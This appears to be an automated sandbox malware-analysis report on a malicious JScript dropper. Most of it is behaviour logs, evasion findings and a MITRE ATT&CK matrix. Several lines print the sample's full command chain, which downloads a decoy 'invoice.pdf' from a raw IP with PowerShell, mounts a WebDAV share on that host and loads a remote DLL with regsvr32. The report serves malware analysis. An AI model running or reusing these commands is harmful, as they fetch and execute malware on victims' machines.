Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6804.js.csv");ITextStream.WriteLine(" entry:7630 f:hntgqxn");ITextStream.WriteLine(" exec:2 f:hntgqxn");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4679			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5072			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7700	Thread sleep count: 4679 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7704	Thread sleep count: 5072 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7768	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7684	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7796	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7964	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1548	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1482061883.0000027D70678000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482061883.0000027D706E2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2709658581.0000020709258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2707879162.0000020703A2B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
